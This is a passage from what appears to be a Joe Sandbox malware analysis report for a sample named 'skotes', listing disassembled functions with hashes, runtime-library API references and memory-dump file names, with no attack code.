Instruction Fuzzy Hash: 0611E579940325BBDB24FBA4DD8AFEE7768AF20358F208515B814B60D1DB70EA48C671

Function 00D2A0EE Relevance: 7.0, APIs: 3, Strings: 1, Instructions: 35threadCOMMON

Download Yara Rule

APIs

Concurrency::details::SchedulerProxy::GetCurrentThreadExecutionResource.LIBCMT ref: 00D2A102
Concurrency::details::ResourceManager::RemoveExecutionResource.LIBCONCRT ref: 00D2A126
std::invalid_argument::invalid_argument.LIBCONCRT ref: 00D2A139

Strings

pScheduler, xrefs: 00D2A131

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: Resource$Concurrency::details::Execution$CurrentManager::Proxy::RemoveSchedulerThreadstd::invalid_argument::invalid_argument
String ID: pScheduler
API String ID: 246774199-923244539
Opcode ID: cff76e12a511b61a381f852118667a78e27f57ddca420be1e1aa4ceedde5e658
Instruction ID: 4603c1c76c44d63de7717b6737867edea7535615952509cbdf5cb6882c6322a8
Opcode Fuzzy Hash: cff76e12a511b61a381f852118667a78e27f57ddca420be1e1aa4ceedde5e658
Instruction Fuzzy Hash: 29F0E935940724A7CB26FA58FC42C9EB778DFA072CB248529E90557181DF70AA1EC6B2

Function 00D3CBDF Relevance: 6.3, APIs: 4, Instructions: 320COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D3CC66

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction ID: 15a764062197cbee0aec5f003c9a65fba04ed30f48d31010ded4bb8a1c2ac991
Opcode Fuzzy Hash: c90ae3db66b5619743134332522a0b96de832b73a835be1452314c5289bd2e52
Instruction Fuzzy Hash: 25B13632D246859FDB25CF28C881BBEBBE5EF45340F18916AE855FB242D6349D41CB70

Function 00D3504E Relevance: 6.2, APIs: 4, Instructions: 168COMMONLIBRARYCODE

Download Yara Rule

APIs

___AdjustPointer.LIBCMT ref: 00D35115
___AdjustPointer.LIBCMT ref: 00D35138
___AdjustPointer.LIBCMT ref: 00D351D4

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: AdjustPointer
String ID:
API String ID: 1740715915-0
Opcode ID: 9661d20d87c856cbd1f44e0bc6a93a187cff3aae0e6ff86bb87b360af13e0eab
Instruction ID: bd0fd93515c3b8babd753dbc10ee778d1955046e21b0be8ff9da25445d9cbf78
Opcode Fuzzy Hash: 9661d20d87c856cbd1f44e0bc6a93a187cff3aae0e6ff86bb87b360af13e0eab
Instruction Fuzzy Hash: CC51E472601B06AFDB298F54E841BBA77B5EF10310F18456DEC419B299E732ED80CBB0

Function 00D34C15 Relevance: 6.1, APIs: 4, Instructions: 141COMMON

Download Yara Rule

APIs

TypeidsEqual.LIBVCRUNTIME ref: 00D34C66
TypeidsEqual.LIBVCRUNTIME ref: 00D34C8B
PMDtoOffset.LIBCMT ref: 00D34CA1
PMDtoOffset.LIBCMT ref: 00D34D22

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092893403.000000000101D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093054410.000000000102C000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3093185959.000000000102E000.00000080.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_d00000_skotes.jbxd

Yara matches

Similarity

API ID: EqualOffsetTypeids
String ID:
API String ID: 1707706676-0
Opcode ID: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction ID: 8dd8cd07404fd9c9b590e3bd2bc9c31c12a941d4efaa188db01e0ead2504810a
Opcode Fuzzy Hash: f8ad74cfaf4da85e0defff2bffeebfbe5beaccf25cb2e0bdfe85511ce37fdb4b
Instruction Fuzzy Hash: 2351BD35A042099FCF11CF68D8906EEBBF4EF15354F18449AE850A7361D33ABE45CB60

Function 00D2DB30 Relevance: 6.1, APIs: 4, Instructions: 123COMMON

Download Yara Rule

APIs

Concurrency::details::ContextBase::TraceContextEvent.LIBCMT ref: 00D2DB64

Part of subcall function 00D28F2F: Concurrency::details::ContextBase::ThrowContextEvent.LIBCONCRT ref: 00D28F50

Concurrency::details::InternalContextBase::FindWorkForBlockingOrNesting.LIBCONCRT ref: 00D2DBC3
Concurrency::details::InternalContextBase::PrepareForUse.LIBCONCRT ref: 00D2DBE9
Concurrency::location::_Assign.LIBCMT ref: 00D2DC56

Memory Dump Source

Source File: 00000006.00000002.3084430816.0000000000D01000.00000040.00000001.01000000.00000008.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000006.00000002.3083329281.0000000000D00000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3084430816.0000000000D62000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085169261.0000000000D69000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085259886.0000000000D6B000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085310919.0000000000D75000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085364751.0000000000D76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085410045.0000000000D77000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085591105.0000000000EDF000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085636387.0000000000EE1000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085693354.0000000000EFA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3085740035.0000000000EFB000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000EFC000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086028772.0000000000F05000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3086342475.0000000000F0F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088090474.0000000000F10000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088327265.0000000000F11000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088547471.0000000000F13000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088775084.0000000000F1B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3088921987.0000000000F21000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089073659.0000000000F39000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089216963.0000000000F3A000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089363299.0000000000F3B000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089544248.0000000000F4F000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089696078.0000000000F63000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089852145.0000000000F66000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3089998884.0000000000F6D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090182033.0000000000F71000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090299844.0000000000F72000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090410765.0000000000F76000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090555746.0000000000F7D000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090637148.0000000000F7E000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090781170.0000000000F7F000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3090931611.0000000000F81000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091108208.0000000000F8A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091258342.0000000000F8D000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091378336.0000000000F8E000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091544868.0000000000F91000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091666052.0000000000F9A000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091784196.0000000000FA2000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3091954295.0000000000FAA000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FB0000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092071829.0000000000FEA000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092451699.0000000001016000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092566644.0000000001017000.00000040.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092650705.0000000001018000.00000080.00000001.01000000.00000008.sdmpDownload File
Associated: 00000006.00000002.3092769210.000000000101B000.00000040.00000001.01000000.00000008.sdmpDownload File
